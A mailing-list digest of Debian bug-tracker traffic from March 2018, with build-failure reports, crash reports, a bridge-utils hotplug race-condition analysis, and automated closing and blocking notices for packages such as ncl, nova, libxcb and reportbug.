}\n  .title {\nfont-weight: bold;\nborder-bottom: 1pt 
inset #dfdfdf;\npadding-bottom: .5em;\n  }\n  .label {\n
font-size: x-small;\ncolor: #7e7e7e;\nborder-bottom: 1pt inset 
#dfdfdf;\npadding-bottom: .5em;\nwidth:  30%;\n  }\n  
.value {\nborder-bottom: 1pt inset #dfdfdf;\npadding-bottom: 
.5em;\nfont-size: small;\n  }\n  .header {\nwidth:  
90%;\npadding-bottom: 1em;\n  }\n  .descheader {\n   
  font-size: 

Processed: unarchiving 824628, found 824628 in 0.0~git20180125.8732c61-1

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> unarchive 824628
Bug #824628 {Done: Alexandre Viau } 
[golang-github-rcrowley-go-metrics-dev] golang-metrics-dev and 
golang-github-rcrowley-go-metrics-dev: error when trying to install together
Unarchived Bug 824628
> found 824628 0.0~git20180125.8732c61-1
Bug #824628 {Done: Alexandre Viau } 
[golang-github-rcrowley-go-metrics-dev] golang-metrics-dev and 
golang-github-rcrowley-go-metrics-dev: error when trying to install together
Marked as found in versions 
golang-github-rcrowley-go-metrics/0.0~git20180125.8732c61-1 and reopened.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
824628: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=824628
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892154: marked as done (ncl: FTBFS on mips64el)

[Debian Bug Tracking System]

Your message dated Wed, 07 Mar 2018 16:22:58 +
with message-id 
and subject line Bug#892154: fixed in ncl 6.4.0-8
has caused the Debian Bug report #892154,
regarding ncl: FTBFS on mips64el
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
892154: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892154
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: ncl
Version: 6.4.0-7
Severity: serious
Justification: makes the package in question unusable or mostly so
Control: block 891966 by -1

Dear Maintainer,

The recent uploads of ncl to unstable FTBFS on mips64el, see:

 
https://buildd.debian.org/status/fetch.php?pkg=ncl=mips64el=6.4.0-7=1520215410=0

dh_auto_install fails to remove some static libraries:

 rm debian/tmp/lib/libblas_ncl.a debian/tmp/lib/liblapack_ncl.a
 rm: cannot remove 'debian/tmp/lib/libblas_ncl.a': No such file or directory
 rm: cannot remove 'debian/tmp/lib/liblapack_ncl.a': No such file or directory

There are several segfaults:

 Installing fontc
Processing fontcap font1

 Program received signal SIGSEGV: Segmentation fault - invalid memory reference.

 Backtrace for this error:
 #0  0xffee0ed18b in ???
 make[4]: *** [Makefile:554: font1] Segmentation fault

 ...

 Installing fontc
Processing fontcap font1

 Program received signal SIGSEGV: Segmentation fault - invalid memory reference.

 Backtrace for this error:
 #0  0xffe996418b in ???
 make[4]: *** [Makefile:595: font1] Segmentation fault

And various link issues:

 /usr/bin/ld: cannot find -lNGgks
 ...
 /usr/bin/ld: cannot find -lNGnfpfort
 ...
 /usr/bin/ld: cannot find -lnfp

Please fix these issues or remove ncl and its reverse dependencies from
mips64el.

Kind Regards,

Bas
--- End Message ---
--- Begin Message ---
Source: ncl
Source-Version: 6.4.0-8

We believe that the bug you reported is fixed in the latest version of
ncl, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 892...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Alastair McKinstry  (supplier of updated ncl package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Wed, 07 Mar 2018 06:50:07 +
Source: ncl
Binary: ncl-ncarg libncarg0 libncarg-dev libncarg-bin libncarg-data
Architecture: source amd64 all
Version: 6.4.0-8
Distribution: unstable
Urgency: medium
Maintainer: Alastair McKinstry 
Changed-By: Alastair McKinstry 
Description:
 libncarg-bin - NCAR command-language library - development tools
 libncarg-data - NCAR command-language library - Data
 libncarg-dev - Development files for the NCAR command language library
 libncarg0  - NCAR command-language library
 ncl-ncarg  - NCAR Command Language and NCAR graphics
Closes: 892154
Changes:
 ncl (6.4.0-8) unstable; urgency=medium
 .
   * Temporarily conditionally install some optional files that may not be
 built on mips64el. Closes: #892154
Checksums-Sha1:
 7c7ab8d0c91bd701480cb10b835d140b859f2e40 2705 ncl_6.4.0-8.dsc
 1a1eb5132fdfa531b24c61d33780e08fa47af0a4 53968 ncl_6.4.0-8.debian.tar.xz
 f1978909d23d0822eeb0504cea7e8462c2e8a17e 45100 
libncarg-bin-dbgsym_6.4.0-8_amd64.deb
 90e701fc1e15e9e6be37c59fbfeb8f0137eeaf6a 72132 libncarg-bin_6.4.0-8_amd64.deb
 54790d3ca16f5a0d61237bfaa75b2449a5eee36f 26638092 libncarg-data_6.4.0-8_all.deb
 d17715d47a56f5acdb8513a648cb761b8282dad9 15016056 
libncarg-dev_6.4.0-8_amd64.deb
 c9de4d08a94953b3c00b5b12eeb7bc87decc0b2d 9362520 
libncarg0-dbgsym_6.4.0-8_amd64.deb
 a14fc537a30e3ee4dc3a87a8f8f345cf353e1719 3916980 libncarg0_6.4.0-8_amd64.deb
 27402eeb771d39bb0ef30ad4868a90d65e7ba7f8 4875692 
ncl-ncarg-dbgsym_6.4.0-8_amd64.deb
 83a0a656e23180eb9b24ee5a3475393febd64063 1977304 ncl-ncarg_6.4.0-8_amd64.deb
 107fc9eeb19c0660c07329a4c410deeedef5d67b 14590 ncl_6.4.0-8_amd64.buildinfo
Checksums-Sha256:
 4a49ac507953034a73c39d0668e78ca48dca397da1fad1cee1b51cb3a31b1a90 2705 
ncl_6.4.0-8.dsc
 a58d319b3c0a647efd14afc863caa2fff7ea019f490ca4e6eae56418c4e2dc63 53968 
ncl_6.4.0-8.debian.tar.xz
 71d774f831b3ba38a0b9b1cb658ba2957eeb73c030782b2d8f51158768a16f45 

Bug#891681: marked as done (python3-nova: fails to upgrade from 'testing' - trying to overwrite /usr/share/apport/package-hooks/source_nova.py)

[Debian Bug Tracking System]

Your message dated Wed, 07 Mar 2018 16:24:54 +
with message-id 
and subject line Bug#891681: fixed in nova 2:17.0.0-1
has caused the Debian Bug report #891681,
regarding python3-nova: fails to upgrade from 'testing' - trying to overwrite 
/usr/share/apport/package-hooks/source_nova.py
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
891681: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891681
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: python3-nova
Version: 2:17.0.0~rc1-2
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package fails to upgrade from
'testing'.
It installed fine in 'testing', then the upgrade to 'sid' fails
because it tries to overwrite other packages files without declaring a
Breaks+Replaces relation.

See policy 7.6 at
https://www.debian.org/doc/debian-policy/#overwriting-files-and-replacing-packages-replaces

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package python3-nova.
  Preparing to unpack .../189-python3-nova_2%3a17.0.0~rc1-2_all.deb ...
  Unpacking python3-nova (2:17.0.0~rc1-2) ...
  dpkg: error processing archive 
/tmp/apt-dpkg-install-qyNCaS/189-python3-nova_2%3a17.0.0~rc1-2_all.deb 
(--unpack):
   trying to overwrite '/usr/share/apport/package-hooks/source_nova.py', which 
is also in package python-nova 2:16.0.3-10
  Errors were encountered while processing:
   /tmp/apt-dpkg-install-qyNCaS/189-python3-nova_2%3a17.0.0~rc1-2_all.deb


cheers,

Andreas


python-nova=2%16.0.3-10_python3-nova=2%17.0.0~rc1-2.log.gz
Description: application/gzip
--- End Message ---
--- Begin Message ---
Source: nova
Source-Version: 2:17.0.0-1

We believe that the bug you reported is fixed in the latest version of
nova, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 891...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Thomas Goirand  (supplier of updated nova package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Tue, 06 Mar 2018 21:05:55 +
Source: nova
Binary: nova-api nova-cells nova-common nova-compute nova-compute-ironic 
nova-compute-kvm nova-compute-lxc nova-compute-qemu nova-conductor nova-console 
nova-consoleauth nova-consoleproxy nova-doc nova-placement-api nova-scheduler 
nova-volume python3-nova
Architecture: source all
Version: 2:17.0.0-1
Distribution: unstable
Urgency: medium
Maintainer: Debian OpenStack 
Changed-By: Thomas Goirand 
Description:
 nova-api   - OpenStack Compute - compute API frontend
 nova-cells - Openstack Compute - cells
 nova-common - OpenStack Compute - common files
 nova-compute - OpenStack Compute - compute node
 nova-compute-ironic - OpenStack Compute - compute node (Ironic)
 nova-compute-kvm - OpenStack Compute - compute node (KVM)
 nova-compute-lxc - OpenStack Compute - compute node (LXC)
 nova-compute-qemu - OpenStack Compute - compute node (QEmu)
 nova-conductor - OpenStack Compute - conductor service
 nova-console - OpenStack Compute - console
 nova-consoleauth - OpenStack Compute - Console Authenticator
 nova-consoleproxy - OpenStack Compute - NoVNC proxy
 nova-doc   - OpenStack Compute - documentation
 nova-placement-api - OpenStack compute - placement API
 nova-scheduler - OpenStack Compute - virtual machine scheduler
 nova-volume - OpenStack Compute - storage metapackage
 python3-nova - OpenStack Compute - libraries
Closes: 891681
Changes:
 nova (2:17.0.0-1) unstable; urgency=medium
 .
   * New upstream release.
   * Fix keystone_authtoken defaults.
   * Removed double-defined override_dh_python3.
   * Switched to openstack-pkg-tools >= 70~ provided debconf templates.
   * Using policy.json generated with --format json.
   * Add Breaks:+Replaces: python-nova (Closes: #891681).
Checksums-Sha1:
 a6df00ccb1f342ee617d4ad0211330eeaccd136d 5707 nova_17.0.0-1.dsc
 036838dc2779302eef02bf10208dd7a71efd57f3 6421360 nova_17.0.0.orig.tar.xz
 886001d3ea8452bbb89836f7bd90f6d3bd5d0f59 52060 nova_17.0.0-1.debian.tar.xz

Bug#892277: bridge-utils: hotplugging interferes with ifupdown resulting in unpredictable behavior

[Apollon Oikonomopoulos]

Package: bridge-utils
Version: 1.5-11
Severity: serious

TL;DR: If you're using bridges, bonds and VLANs together, set 
   BRIDGE_HOTPLUG=no in /etc/default/bridge-utils.

Dear Maintainer,

There are some rather serious race conditions arising from the fact that 
bridge-utils handles udev events triggered by ifupdown actions and  
messes with the state of various interfaces while ifupdown is still 
running. To illustrate why this is happening, take the following e/n/i 
configuration as an example:

auto bond0
iface bond0 inet manual
  bond-slaves eth0 eth1
  bond-mode   active-backup
  bond-miimon 100
  up ip link set $IFACE mtu 9000

auto dmz
iface dmz inet manual
  bridge_ports  bond0.200
  bridge_fd   0
  bridge_stp  off
  bridge_maxwait  0
  up ip link set $IFACE up

This straightforward configuration worked fine in Jessie, but produces 
unexpected results on boot since Stretch, which - among others - 
include:

 - not setting the bond mode to active-backup, but to round-robin
 - creating bond0.200 with MTU 1500 instead of 9000

We have been hit by the above issues on production systems dist-upgraded 
to Stretch, and it all comes down to the races introduced by the 
bridge-utils hotplug support (which is now enabled by default).

So, what is actually happening is the following:

 1. On boot, networking.service calls `ifup --allow=auto -a`. This 
starts off by creating bond0. As soon as the ifenslave hooks create 
the interface, a udev "add" event for bond0 is triggered, *while 
ifup is still configuring bond0*.

 2. /lib/udev/bridge-network-interface is called, with $INTERFACE set to 
bond0. The script will run `ifquery --list --allow auto` and will 
look for any interface containing bond0 or bond0.* in its 
bridge_ports, matching "dmz" in our case. It will then go on to:
 a) create_vlan_port: this will run `ip link set bond0 up` and then 
create the vlan sub-interface on bond0
 b) call `ifup dmz` once the vlan port has been created

All of the above - for all we know - happen while `ifup -a` is 
*still* configuring bond0 on its own.

Step 2 is especially troublesome for the following reasons:

 i) create_vlan_port messes with the interface state while ifup is still 
configuring it. Bonding interfaces - for instance - need to be down 
to have their mode configured, and create_vlan_port explicitly sets 
the bond interface up. This causes the bond interface to potentially 
come up with the default mode (round-robin), making the system 
unreachable in case e.g. 802.3ad was requested.

 ii) create_vlan_port creates the VLAN sub-interface while the 
 underlying device is still being configured. This means that the 
 VLAN interface may be inherit the wrong MTU value, if ifup has not 
 yet set the parent interface's MTU to the desired value at the time 
 the VLAN interface is created.

 iii) dmz is brought up whenever bond0 is brought up, although this has 
  not been necessarily requested.

 iv) dmz is configured twice (once because of `ifup -a` and once because 
 of bridge-utils setting it up).

Note that high-cpu-count SMP systems seem more prone to the races i) and 
ii).

To be completely honest, I don't know what the hotplugging code is 
trying to achieve here, especially when it comes to short-circuiting 
ifupdown's internals. At a bare minimum, it should neither bring up 
"auto" interfaces that happen to be down, nor touch any interface while 
ifup might be still configuring it.

Regards,
Apollon

-- System Information:
Debian Release: buster/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'testing-debug'), (500, 
'testing'), (500, 'stable'), (90, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.14.0-3-amd64 (SMP w/4 CPU cores)
Locale: LANG=el_GR.UTF-8, LC_CTYPE=el_GR.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages bridge-utils depends on:
ii  libc6  2.25-5

bridge-utils recommends no packages.

Versions of packages bridge-utils suggests:
ii  ifupdown  0.8.29

-- no debconf information

Bug#892275: [redshift]

[Wild Turtles]

Package: redshift
Version: 1.11-1
Severity: grave

--- Please enter the report below this line. ---

Redshift (and -gtk) crash at startup.

Error message is the next : 

Failed to run Redshift
Trying location provider 'geoclue2' …
Unable to connect to GeoClue.
Unable to get location from provider.


A bug is open upstream with some (geo)clues.

https://github.com/jonls/redshift/issues/158

--- System information. ---
Architecture:
Kernel: Linux 4.14.0-3-amd64

500 testing ftp.fr.debian.org
500 stable linux.teamviewer.com
500 preview linux.teamviewer.com

--- Package information. ---
Depends (Version) | Installed
==-+-
libc6 (>= 2.17) |
libdrm2 (>= 2.4.3) |
libglib2.0-0 (>= 2.26.0) |
libx11-6 |
libxcb-randr0 (>= 1.3) |
libxcb-render0 |
libxcb1 |
libxxf86vm1 |


Recommends (Version) | Installed
==-+-===
geoclue-2.0 | 2.4.7-1


Package's Suggests field is empty.


0x0364AB34.asc
Description: application/pgp-keys
<>

Bug#887967: closed by Abou Al Montacir <abou.almonta...@sfr.fr> (Bug#887967: fixed in fpc 3.0.4+dfsg-14)

[Graham Inggs]

On Tue, 23 Jan 2018 08:46:09 +0200 Adrian Bunk  wrote:

This problem is unfortunately still present with fpc 3.0.4+dfsg-14:
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/transgui.html


This can be worked around by the following change in debian/rules:

-export FPCDIR=/usr/lib/fpc/${FPCDIR}
+export FPCDIR=/usr/lib/$(DEB_HOST_MULTIARCH)/fpc/default

However, it was my understanding that this was supposed to be fixed in 
FPC, so forwarding to the Pascal list for comment.

Processed: your mail

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> block  892201 by 886865
Bug #892201 [nlohmann-json] nlohmann-json build issues with gcc 7.2
892201 was not blocked by any bugs.
892201 was not blocking any bugs.
Added blocking bug(s) of 892201: 886865
>
End of message, stopping processing here.

Please contact me if you need assistance.
-- 
892201: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892201
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#891304: closing 891304

[Dominique Dumont]

close 891304 0.124-1
thanks

The FTBS was fixed upstream in version 0.124.

Thanks for the report

All the best

Processed: closing 891304

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> close 891304 0.124-1
Bug #891304 [libconfig-model-backend-augeas-perl] 
libconfig-model-backend-augeas-perl: FTBFS: test failures
Marked as fixed in versions libconfig-model-backend-augeas-perl/0.124-1.
Bug #891304 [libconfig-model-backend-augeas-perl] 
libconfig-model-backend-augeas-perl: FTBFS: test failures
Marked Bug as done
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
891304: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891304
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892270: [reportbug] Crash when report type set to None

[Bardot Jérôme]

Package: reportbug
Version: 7.1.10
Severity: grave

--- Please enter the report below this line. ---

Reportbug (gtk2 ui) crash when i select package.

The command line  output :

Traceback (most recent call last):
  File "/usr/bin/reportbug", line 2265, in 
    main()
  File "/usr/bin/reportbug", line 1109, in main
    return iface.user_interface()
  File "/usr/bin/reportbug", line 1721, in user_interface
    latest_first=self.options.latest_first)
  File "/usr/lib/python3/dist-packages/reportbug/ui/gtk2_ui.py", line
1764, in func
    args, kwargs = op.sync_pre_operation(*args, **kwargs)
TypeError: 'NoneType' object is not iterable

And when i start report bug with --test option there is no crash and the
commmand line output is :

invalid report type None, defaulting to debbugs

--- System information. ---
Architecture:
Kernel: Linux 4.14.0-3-amd64

500 testing ftp.fr.debian.org


--- Package information. ---
Depends (Version) | Installed
===-+-==
python3:any |
apt | 1.6~beta1
python3-reportbug (= 7.1.10) | 7.1.10
sensible-utils | 0.0.11
python3:any (>= 3.3.2-2~) |
apt | 1.6~beta1
python3-debian | 0.1.32
python3-debianbts (>= 1.13) | 2.7.2
file | 1:5.32-2
python3-requests | 2.18.4-2
python3-apt | 1.4.0~beta3+b1


Package's Recommends field is empty.

Suggests (Version) | Installed
=-+-
postfix |
OR exim4 |
OR mail-transport-agent |
gnupg | 2.2.5-1
OR pgp |
debconf-utils (>> 1.1.0) |
debsums (>= 2.0.47) | 2.2.2
file (>> 1.30) | 1:5.32-2
dlocate |
python3-urwid |
python3-gi | 3.26.1-2
python3-gi-cairo | 3.26.1-2
gir1.2-gtk-3.0 | 3.22.28-1
gir1.2-vte-2.91 | 0.50.2-4
python3-gtkspellcheck | 4.0.5-1
xdg-utils | 1.1.2-2
emacs24-bin-common |
OR emacs25-bin-common |
claws-mail (>= 3.8.0) | 3.16.0-1
reportbug | 7.1.10



--- Output from package bug script ---
** Environment settings:
EMAIL="bardot.jer...@gmail.com"
DEBFULLNAME="BARDOT??Jerome"

** /home/jerome/.reportbugrc:
reportbug_version "6.6.5"
mode novice
ui gtk2
email "bardot.jer...@gmail.com"
no-cc
header "X-Debbugs-CC: bardot.jer...@gmail.com"
smtphost reportbug.debian.org



0x03878A98.asc
Description: application/pgp-keys


signature.asc
Description: OpenPGP digital signature

Bug#892267: 3dldf: FTBFS on mips64el, hurd-i386, ia64, powerpc, x32 - "src/3dldf tngnts_1.ldf" segfaults

[James Cowgill]

Source: 3dldf
Version: 2.0.3+dfsg-7
Severity: serious
Tags: sid buster

Hi,

3dldf FTBFS on the above architectures with the error:
> ../src/3dldf tngnts_1.ldf
> GNU 3DLDF Version 2.0.3
> Copyright (C) 2013 The Free Software Foundation
> Author:  Laurence D. Finston
> 
> GNU 3DLDF comes with ABSOLUTELY NO WARRANTY;
> for details see the file COPYING,
> which you should have received in the distribution of GNU 3DLDF 2.0.3
> This is Free Software, and you are welcome to redistribute it under certain 
> conditions;
> for details, again, see the file COPYING.
> 
> Please send bug reports to laurence.fins...@gmx.de
> Web site:  http://www.gnu.org/software/3dldf/LDF.html
> 
> make[4]: *** [Makefile_sub:21: tngnts_1.mp] Segmentation fault

While it didn't fail on amd64, running 3dldf in valgrind (on amd64)
immediately crashes so this is probably not an architecture specific error:
> $ valgrind ../src/3dldf tngnts_1.ldf 
> ==29155== Memcheck, a memory error detector
> ==29155== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
> ==29155== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
> ==29155== Command: ../src/3dldf tngnts_1.ldf
> ==29155== 
> GNU 3DLDF Version 2.0.3
> Copyright (C) 2013 The Free Software Foundation
> Author:  Laurence D. Finston
> 
> GNU 3DLDF comes with ABSOLUTELY NO WARRANTY;
> for details see the file COPYING,
> which you should have received in the distribution of GNU 3DLDF 2.0.3
> This is Free Software, and you are welcome to redistribute it under certain 
> conditions;
> for details, again, see the file COPYING.
> 
> Please send bug reports to laurence.fins...@gmx.de
> Web site:  http://www.gnu.org/software/3dldf/LDF.html
> 
> ==29155== Conditional jump or move depends on uninitialised value(s)
> ==29155==at 0x2A61E9: Id_Map_Entry_Type::operator*=(Transform const&) 
> (imetfncs.web:3854)
> ==29155==by 0x13E602: yyparse(void*) (parser.y++:29090)
> ==29155==by 0x134F5C: main (main.web:1478)
> ==29155== 
> ==29155== Invalid read of size 1
> ==29155==at 0x2A6398: Id_Map_Entry_Type::operator*=(Transform const&) 
> (imetfncs.web:3864)
> ==29155==by 0x13E602: yyparse(void*) (parser.y++:29090)
> ==29155==by 0x134F5C: main (main.web:1478)
> ==29155==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
> ==29155== 
> ==29155== 
> ==29155== Process terminating with default action of signal 11 (SIGSEGV): 
> dumping core
> ==29155==  Access not within mapped region at address 0x0
> ==29155==at 0x2A6398: Id_Map_Entry_Type::operator*=(Transform const&) 
> (imetfncs.web:3864)
> ==29155==by 0x13E602: yyparse(void*) (parser.y++:29090)
> ==29155==by 0x134F5C: main (main.web:1478)
> ==29155==  If you believe this happened as a result of a stack
> ==29155==  overflow in your program's main thread (unlikely but
> ==29155==  possible), you can try to increase the size of the
> ==29155==  main thread stack using the --main-stacksize= flag.
> ==29155==  The main thread stack size used in this run was 8388608.
> ==29155== 
> ==29155== HEAP SUMMARY:
> ==29155== in use at exit: 1,207,653 bytes in 21,398 blocks
> ==29155==   total heap usage: 82,187 allocs, 60,789 frees, 2,678,604 bytes 
> allocated
> ==29155== 
> ==29155== LEAK SUMMARY:
> ==29155==definitely lost: 56,200 bytes in 150 blocks
> ==29155==indirectly lost: 309,868 bytes in 7,324 blocks
> ==29155==  possibly lost: 0 bytes in 0 blocks
> ==29155==still reachable: 841,585 bytes in 13,924 blocks
> ==29155== suppressed: 0 bytes in 0 blocks
> ==29155== Rerun with --leak-check=full to see details of leaked memory
> ==29155== 
> ==29155== For counts of detected and suppressed errors, rerun with: -v
> ==29155== Use --track-origins=yes to see where uninitialised values come from
> ==29155== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)
> Segmentation fault

Thanks,
James



signature.asc
Description: OpenPGP digital signature

Bug#850898: queried upstream

[Daniel Pocock]

I've sent an email to query the upstream plans for OpenSSL 1.1

Bug#892201: nlohmann-json build issues with gcc 7.2

[Muri Nicanor]

Hi Dominique,

uhoreg offered to package version 3
(https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=885540) of
nlohmann-json and already created an ITP for that:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=886865

cheers,
muri

On 03/06/2018 05:36 PM, Dominique Belhachemi wrote:
> Package: nlohmann-json
> Version: 2.1.1-1
> Severity: grave
> 
> Some applications don't compile with nlohmann-json 2.1.1 and gcc 7.2 .
> 
> You can find details here:
> 
> https://github.com/nlohmann/json/issues/742
> 
> Please update the package.
> 
> Thanks
> -Dominique
> 



signature.asc
Description: OpenPGP digital signature

Bug#892215: marked as done (libxcb FTBFS: KeyError: 'eventstruct')

[Debian Bug Tracking System]

Your message dated Wed, 07 Mar 2018 09:20:02 +
with message-id 
and subject line Bug#892215: fixed in libxcb 1.13-1
has caused the Debian Bug report #892215,
regarding libxcb FTBFS: KeyError: 'eventstruct'
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
892215: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892215
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: libxcb
Version: 1.12-1
Severity: serious
Justification: FTBFS
User: helm...@debian.org
Usertags: rebootstrap

Since a few days(?), libxcb FTBFS. The build ends with:

| make[1]: Entering directory '/<>/build'
| Making all in src
| make[2]: Entering directory '/<>/build/src'
| /usr/bin/python ../../src/c_client.py   -c "libxcb 1.12" -l "X Version 11" \
| -s "3" -p /usr/lib/python2.7/dist-packages \
|  \
| /usr/share/xcb/xproto.xml
| Traceback (most recent call last):
|   File "../../src/c_client.py", line 3294, in 
| from xcbgen.state import Module
|   File "/usr/lib/python2.7/dist-packages/xcbgen/state.py", line 7, in 
| from xcbgen import matcher
|   File "/usr/lib/python2.7/dist-packages/xcbgen/matcher.py", line 12, in 

| from xcbgen.xtypes import *
|   File "/usr/lib/python2.7/dist-packages/xcbgen/xtypes.py", line 1221, in 

| class EventStruct(Union):
|   File "/usr/lib/python2.7/dist-packages/xcbgen/xtypes.py", line 1239, in 
EventStruct
| out = __main__.output['eventstruct']
| KeyError: 'eventstruct'
| make[2]: *** [Makefile:1290: xproto.c] Error 1
| make[2]: Leaving directory '/<>/build/src'
| make[1]: *** [Makefile:787: all-recursive] Error 1
| make[1]: Leaving directory '/<>/build'
| dh_auto_build: cd build && make -j1 returned exit code 2
| make: *** [debian/rules:17: build-arch] Error 2
| dpkg-buildpackage: error: debian/rules build-arch subprocess returned exit 
status 2

libxcb wasn't uploaded in a while. Very likely, the cause lies
elsewhere. The earliest failure I have seen was Tue, 6 Mar 2018 06:31:35
(UTC), so it should be close to the dinstall prior to that. Could it be
the xcb-proto/1.13-1 upload?

Helmut
--- End Message ---
--- Begin Message ---
Source: libxcb
Source-Version: 1.13-1

We believe that the bug you reported is fixed in the latest version of
libxcb, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 892...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Timo Aaltonen  (supplier of updated libxcb package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Wed, 07 Mar 2018 10:57:47 +0200
Source: libxcb
Binary: libxcb1 libxcb1-udeb libxcb1-dev libxcb-doc libxcb-composite0 
libxcb-composite0-dev libxcb-damage0 libxcb-damage0-dev libxcb-dpms0 
libxcb-dpms0-dev libxcb-glx0 libxcb-glx0-dev libxcb-randr0 libxcb-randr0-dev 
libxcb-record0 libxcb-record0-dev libxcb-render0 libxcb-render0-dev libxcb-res0 
libxcb-res0-dev libxcb-screensaver0 libxcb-screensaver0-dev libxcb-shape0 
libxcb-shape0-dev libxcb-shm0 libxcb-shm0-dev libxcb-sync1 libxcb-sync-dev 
libxcb-xf86dri0 libxcb-xf86dri0-dev libxcb-xfixes0 libxcb-xfixes0-dev 
libxcb-xinerama0 libxcb-xinerama0-dev libxcb-xtest0 libxcb-xtest0-dev 
libxcb-xv0 libxcb-xv0-dev libxcb-xvmc0 libxcb-xvmc0-dev libxcb-dri2-0 
libxcb-dri2-0-dev libxcb-present0 libxcb-present-dev libxcb-dri3-0 
libxcb-dri3-dev libxcb-xkb1 libxcb-xkb-dev
Architecture: source
Version: 1.13-1
Distribution: unstable
Urgency: medium
Maintainer: Debian X Strike Force 
Changed-By: Timo Aaltonen 
Description:
 libxcb-composite0 - X C Binding, composite extension
 libxcb-composite0-dev - X C Binding, composite extension, development files
 libxcb-damage0 - X C Binding, damage extension
 libxcb-damage0-dev - X C Binding, damage extension, development files
 libxcb-doc - X C Binding, development documentation
 libxcb-dpms0 - X C Binding, dpms extension
 libxcb-dpms0-dev - X C Binding, dpms extension, development files
 libxcb-dri2-0 - X C Binding, dri2 extension
 libxcb-dri2-0-dev - X C Binding, dri2 extension, development files
 libxcb-dri3-0 - X C Binding, 

Processed: pdf2djvu is a blocker for the poppler transition

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> block 892073 with 892109
Bug #892073 [release.debian.org] transition: poppler
892073 was not blocked by any bugs.
892073 was not blocking any bugs.
Added blocking bug(s) of 892073: 892109
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
892073: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892073
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems